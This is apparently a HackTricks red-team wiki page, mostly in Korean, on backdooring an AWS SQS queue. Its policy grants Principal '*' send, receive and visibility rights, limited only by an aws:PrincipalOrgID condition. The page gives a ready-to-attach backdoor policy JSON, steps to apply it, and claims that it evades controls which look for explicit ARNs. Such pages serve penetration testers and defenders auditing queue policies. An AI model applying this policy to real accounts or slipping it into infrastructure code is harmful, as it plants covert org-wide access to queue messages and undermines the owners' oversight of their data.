AWS - SQS OrgID Policy Backdoor

Reading time: 2 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SQS 큐 리소스 정책을 악용하여 조건 aws:PrincipalOrgID를 사용해 대상 AWS Organization에 속한 어떤 principal에게도 Send, Receive 및 ChangeMessageVisibility 권한을 은밀히 부여합니다. 이렇게 하면 org-scoped한 숨겨진 경로가 생성되어 explicit account 또는 role ARNs 혹은 star principals만을 확인하는 제어를 종종 회피합니다.

Backdoor policy (attach to the SQS queue policy)

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OrgScopedBackdoor",
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:ReceiveMessage",
"sqs:SendMessage",
"sqs:ChangeMessageVisibility",
"sqs:GetQueueAttributes"
],
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
"Condition": {
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
}
}
]
}

단계

  • AWS Organizations API로 Organization ID를 획득합니다.
  • SQS queue ARN을 얻고 위의 statement를 포함하는 queue policy를 설정합니다.
  • 해당 Organization에 속한 어떤 principal로부터 큐에 메시지를 전송하고 수신하여 접근을 검증합니다.

영향

  • 지정된 AWS Organization의 어떤 계정에서도 SQS 메시지를 읽고 쓰는 Organization-wide 은닉 접근.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기